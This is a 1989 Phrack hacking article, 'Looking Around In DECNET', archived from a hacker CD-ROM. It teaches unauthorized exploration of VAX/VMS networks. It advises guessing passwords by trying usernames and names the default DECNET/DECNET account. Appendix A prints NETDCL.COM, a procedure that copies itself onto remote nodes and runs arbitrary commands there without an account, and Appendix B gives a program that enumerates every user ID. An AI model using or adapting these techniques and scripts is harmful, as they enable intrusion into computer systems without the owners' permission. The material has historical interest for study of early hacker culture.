home *** CD-ROM | disk | FTP | other *** search
/ Hacker Chronicles 1 / HACKER1.ISO / phrk3 / phrack27.6 < prev    next >
Text File  |  1992-09-26  |  14KB  |  335 lines

  1.      
  2.      
  3.                                 ==Phrack Inc.==
  4.      
  5.                      Volume Three, Issue 27, File 6 of 12
  6.      
  7.                  <<<<<<<<<<<<<<<<<<<<<<*>>>>>>>>>>>>>>>>>>>>>>
  8.                  <<<                                       >>>
  9.                  <<<       Looking Around In DECNET        >>>
  10.                  <<<                                       >>>
  11.                  <<<    by Deep Thought of West Germany    >>>
  12.                  <<<                                       >>>
  13.                  <<<             June 1, 1989              >>>
  14.                  <<<                                       >>>
  15.                  <<<<<<<<<<<<<<<<<<<<<<*>>>>>>>>>>>>>>>>>>>>>>
  16.      
  17.      
  18. Disclaimer:  I take no responsibility for any use or abuse of the information
  19.              contained in this article, nor for any damage caused by the use of
  20.              methods described.  DECNET, VAX, and VMS are possibly registered
  21.              trademarks of Digital Equipment Corporation.
  22.      
  23.      
  24. There comes a time when every somewhat intelligent programmer asks:  Is hacking
  25. difficult?  Now, being in a university network, why don't just give it a try?
  26. Since one is an official student and somewhat authorized to use the computing
  27. facilities, testing the modern means of communication should cause no trouble.
  28.      
  29. Well, you start searching on those nodes, you have official access for
  30. interesting programs and procedures.  And you find:  Netdcl, just one program
  31. of many, that obviously enables one to run commands on remote nodes without
  32. having an account on these nodes.  A really interesting thing, as nearly
  33. everything is allowed that a normal user can do.
  34.      
  35. The dear reader may start to think:  Wasn't there always the shouting about VMS
  36. being the MOST SECURE computer system, making it UNPENETRABLE to hackers?  Ok,
  37. cool down, this feature can be disabled and so, you think, if someone has super
  38. secret data on his VAX, he will stop any use or abuse of this feature.
  39.      
  40. 2nd Act -- Somewhere one has heard about some mystery things called system
  41. calls.  Since one always wanted to know about how to react on keystrokes on a
  42. VAX (really being not trivial!) you start reading the manuals more precisely to
  43. find out how to do it in Pascal.
  44.      
  45. Randomly on browsing thru the pages you discover functions which deliver
  46. information about Userids.  This comes in handy, as a friend engaged in
  47. university politics wants to distribute a leaflet by email to all registered
  48. users.  In fact, it's completely unproblematic to gain a list of all users.  An
  49. example program, although written in Assembler, is even contained in the
  50. manuals.  Enjoy a list of 1000 Userids complete with information about network
  51. access rights.  The Pascal program is contained in Appendix B (later in this
  52. file).
  53.      
  54. Sorry, passwords are not stored in this list.  Even the Sysop can't access
  55. them, so that's no great loss.  Guess what passwords many accounts have?  Sure,
  56. just try the username.  It's really amazing how ignorant users can be.  Of
  57. course this is a problem of group-accounts, that many users have access to and
  58. must know the password.  Nevertheless, the hole is there.
  59.      
  60. The real hacker, once he has logged in on such an account surely finds ways to
  61. gain system privilege.  This requires in-depth knowledge of the Kernel of VMS
  62. and is another story I won't deal with.
  63.      
  64.      
  65. What is DECNET?
  66. ~~~~~~~~~~~~~~~
  67. DECNET is the means, by which computers from Digital Equipment Corporation
  68. (DEC) can be connected to each other.  Each computer in this network has an
  69. address which is normally given by x.y where x is the area number (an integer)
  70. and y is the node number in this area which ranges from 1 to 1023.  To access
  71. DECNET nodes, one specifies just one number, which can be computed from x and y
  72. by the following formula:
  73.      
  74.    nodenumber = x * 1024 + y
  75.      
  76. Often nodes, especially local nodes (having the same area number as your
  77. current node) have names assigned to them so they can be memorized more easily.
  78.      
  79.      
  80. Interesting DECNET Commands
  81. ~~~~~~~~~~~~~~~~~~~~~~~~~~~
  82. To get a (first) list of available DECNET nodes, try the command
  83.      
  84.    $ SHOW NET
  85.      
  86. The $ (as in the following examples) is the default prompt of VMS and should
  87. not be entered.  This Command will give you a list of (hopefully) reachable
  88. nodes.  All lines of the output contain the network address in the form x.y and
  89. normally a name which this node is known by.
  90.      
  91. Your current node is mentioned in the first line in "VAX/VMS network status for
  92. local node X.Y Name".  In most cases you will then just see local nodes listed
  93. and a line saying "The next hop to the nearest area router is node XX.YY".
  94. This node contains more information about the DECNET than the node you are
  95. currently on.  If you have an account on the specified node, log on there and
  96. try again.  If not, well, play with the local nodes listed and look at the
  97. command NCP shown later.
  98.      
  99. Now, what can you do with those nodes that were mentioned in the output?
  100. First command is
  101.      
  102.     $ SET HOST <node>
  103.      
  104. Where <node> is either a nodename or a nodenumber (see above).  Thus, if SDIVAX
  105. was listed in the SHOW NET list as 42.13, then you may try both SET HOST SDIVAX
  106. or SET HOST 43021 (42*1024+13 = 43021).  Probably you'll get that ugly
  107. Username: prompt.  You're on your own then.
  108.      
  109. Second thing you can do with DECNET is email.  On VMS the MAIL program can send
  110. mail to other users.  If you and your friend both have accounts on the same
  111. DECNET, you can send him mail if you know his nodename or nodenumber by
  112. specifying SDIVAX::FREDDY or 43021::FREDDY.
  113.      
  114. Then there is PHONE.  This is a utility to talk to another (or several) user(s)
  115. on a DECNET.  If you want to call Freddy, just type PHONE SDIVAX::FREDDY.  If
  116. he is logged in, his terminal will ring and if he answers his phone (with PHONE
  117. ANSWER) you may chat with him.  PHONE has another nice feature built in:  You
  118. may ask for a list of active users on a remote name by %DIR SDIVAX.  See the
  119. online help on PHONE for further details.
  120.      
  121. The next really mighty DECNET facility is remote file access.  Valid filenames
  122. in VMS consist of the components node, disk, directory and filename.  An
  123. example for a valid filename is SDIVAX::DISK$2:[NASA.SECRET]SDI.DOC where some
  124. components may be omitted and default values are used instead.
  125.      
  126. File names including the node specification may be used in nearly all VMS
  127. commands examples being DIR, TYPE and COPY.  Access to the specified file is
  128. granted, if the protection of the file allows access by world, or if the owner
  129. of the file is the user DECNET.  This pseudo userid is available on every VAX
  130. and has the password DECNET.  Access to that account is limited to network
  131. processing so you can't just log in with Username=DECNET, password=DECNET.  By
  132. default a special directory owned by the User DECNET exists on each node.  This
  133. directory can be accessed by just specifying the nodename without any disk or
  134. directory information, as in
  135.      
  136.     $ DIR SDIVAX::
  137.      
  138. If users played too much with this feature, the directory may be protected or
  139. otherwise disabled.
  140.      
  141. The last feature described here is the remote command processing facility.  If
  142. you try to open a file with the specification
  143.      
  144.     $ SDIVAX::"task=foo.com"
  145.      
  146. Instead of opening the DCL procedure, foo.com will be executed.  To make use of
  147. this feature easily, programs have been written to interactively communicate
  148. with a remote host.  The command procedure NETDCL.COM does this task and is
  149. contained in the Appendix A (seen later in this file.  Look at this
  150. DCL-Procedure to learn more about DECNET features.
  151.      
  152.      
  153. The Key To Universal Knowledge
  154. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  155. There is a pearl under the programs on a VAX.  It's called NCP and will give
  156. readily information about the whole DECNET.  You start this program either by
  157. MCR NCP or by doing a SET DEF SYS$SYSTEM and RUN NCP.  Use the on-line Help
  158. provided in NCP (which means Network Control Program) to learn more.
  159.      
  160.     NCP> SHOW KNOWN NODES
  161.      
  162. Provides a list of all nodes known on your current node, including the names
  163. you may use as node specifications.  But there is more:  You may connect to
  164. another node's database and get a list of nodes which are known at the remote
  165. node with
  166.      
  167.     NCP> SET EXEC SDIVAX
  168.      
  169. And then again the SHOW KNOWN NODES command.  This feature should provide you
  170. with a nearly infinite list of node names and node numbers.
  171.      
  172.      
  173. Conclusion
  174. ~~~~~~~~~~
  175. There are many nice features available under DECNET.  Probably I don't know
  176. all, but I hope this article showed you the mighty tools available on VMS to
  177. make network life easier.
  178.      
  179.      
  180. WARNING:  The author has had bad experiences with some node administrators,
  181.           who didn't like their machines being contacted over DECNET.  Yes,
  182.           that's the drawback, each DECNET activity is written to a protocol
  183.           file that is printed and deleted every month.  So you should be
  184.           careful in using DECNET.
  185. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  186.      
  187. APPENDIX A:
  188.      
  189. The Procedure NETDCL.COM, sometimes called TELL.COM, NET.COM
  190. -----------------------
  191. $ IF f$mode() .EQS. "NETWORK" THEN GOTO network
  192. $ IF p1 .EQS. "" THEN READ/PROMPT="_Node: " sys$command p1
  193. $ nodespec = p1 - "::"
  194. $ nodename = f$extract(0,f$locate("""",nodespec),nodespec)
  195. $! include the following line for "hard cases"
  196. $! nodespec = nodespec+"""decnet decnet"""
  197. $ ON WARNING THEN CONTINUE
  198. $ CLOSE/ERR=open_server dcl_server
  199. $open_server:
  200. $ OPEN/READ/WRITE dcl_server 'nodespec'::"TASK=NETDCL"/ERROR=open_failure
  201. $ ON WARNING THEN GOTO exit
  202. $flush_output:
  203. $ READ dcl_server record
  204. $ IF record .EQS. "SEND_ME_A_COMMAND" -
  205.   THEN GOTO send_command
  206. $ WRITE sys$output record
  207. $ GOTO flush_output
  208. $send_command:
  209. $ IF p2 .NES. "" THEN GOTO single_command
  210. $ READ sys$command record /PROMPT="''nodename'> " /END=exit
  211. $ record  := 'record
  212. $ IF record .EQS. "EXIT" THEN GOTO exit
  213. $ WRITE dcl_server record
  214. $ GOTO flush_output
  215. $single_command:
  216. $ command := 'p2' 'p3' 'p4' 'p5' 'p6' 'p7' 'p8'
  217. $ WRITE dcl_server command
  218. $single_flush:
  219. $ READ dcl_server record
  220. $ IF record .EQS. "SEND_ME_A_COMMAND"-
  221. $ THEN GOTO exit
  222. $ WRITE sys$output record
  223. $ GOTO single_flush
  224. $open_failure:
  225. $ ON WARNING THEN EXIT
  226. $ COPY/LOG Netdcl.Com 'nodespec'::
  227. $ WAIT 0:0:1
  228. $ OPEN/READ/WRITE dcl_server 'nodespec'::"TASK=NETDCL"
  229. $ ON WARNING THEN GOTO exit
  230. $ GOTO flush_output
  231. $exit:
  232. $ CLOSE dcl_server
  233. $ EXIT
  234. $network:
  235. $ OPEN/READ/WRITE dcl_link sys$net
  236. $ SET NOON
  237. $ dcl_verify = 'f$verify(0)'
  238. $ DEFINE sys$output dcl_link:
  239. $server_loop:
  240. $ WRITE dcl_link "SEND_ME_A_COMMAND"
  241. $ READ dcl_link dcl_string /END_OF_FILE=server_exit /ERROR=server_exit
  242. $ 'dcl_string'
  243. $  GOTO server_loop
  244. $server_exit:
  245. $ IF dcl_verify THEN set verify
  246. $ CLOSE dcl_link
  247. $ DEASSIGN sys$output
  248. $ EXIT
  249. -----------------------
  250.      
  251. APPENDIX B
  252.      
  253. ALLUSER.PAS - Show all registered users
  254. -----------------------
  255. {
  256. * alluser.pas - get names of all users
  257. * by Deep, 1989
  258. * This program is freely redistributable as long no modifications are made
  259. * DISCLAIMER: I take no responsibility for any use or abuse of this
  260. *             program.  It is given for informational purpose only.
  261. *
  262. * program history:
  263. * 04-May-89   started
  264. * 02-Jun-89   clean up of code
  265. }
  266. [inherit ('sys$library:starlet.pen')]
  267. program alluser(input,output);
  268.      
  269.   type $word      = [word] 0..65535;
  270.        $byte      = [byte] 0..255;
  271.        $quadword  = record
  272.                       lo,hi : unsigned;
  273.                     end;
  274.        $uquad  = record
  275.                       lo,hi : unsigned;
  276.                     end;
  277. var
  278.   id: unsigned;
  279.   status, status2: integer;
  280.   length: $WORD;
  281.   attrib,context,context2,context3: unsigned;
  282.   ident, ident2: unsigned;
  283.   name: varying [512] of char;
  284.   holder: $uquad;
  285.      
  286. begin
  287.      
  288. writeln('Alluser - use at your own risk!');
  289. status := SS$_NORMAL;
  290. { id = -1 selects next identifier }
  291. id := -1;
  292. context := 0;
  293. while (status <> SS$_NOSUCHID) do
  294.    begin
  295.    { find next identifier }
  296.    status := $idtoasc(id,name.length,name.body,ident,attrib,context);
  297.    if (status <> SS$_NOSUCHID) then begin
  298.       write(pad(name,' ',16));
  299.       if (ident div (65536*32768) > 0) then
  300.          { it's a rights-list, so print the hex-value of the identifier }
  301.          begin
  302.          writeln(oct(ident,12));
  303.          context2 := 0;
  304.          context3 := 0;
  305.          { find all holders of this right }
  306.          repeat
  307.             holder := zero;
  308.             status2 := $find_holder(ident,holder,attrib,context2);
  309.             if (holder.lo <> 0) then begin
  310.                 ident2 := ident;
  311.                 { get UIC and username }
  312.                 status := $idtoasc(holder.lo,name.length,name.body,ident2
  313.                     ,attrib,context3);
  314.                 write('                ',pad(name,' ',16));
  315.                 writeln('[',oct(holder.lo div 65536,3),','
  316.                     ,oct(holder.lo mod 65536,3),']');
  317.                end;
  318.          until (holder.lo = 0);
  319.          end
  320.       else
  321.          { it's a UIC, so translate to [grp,user] }
  322.          begin
  323.          writeln('[',oct(ident div 65536,3),',',oct(ident mod 65536,3),']');
  324.          end;
  325.       end;
  326.    end;
  327. end.
  328. -----------------------
  329.      
  330. This article has been brought to you by Deep Thought of West Germany.  If you
  331. liked this article, grant me access if I once drop in your BBS!
  332. _______________________________________________________________________________
  333.  
  334. Downloaded From P-80 International Information Systems 304-744-2253 12yrs+
  335.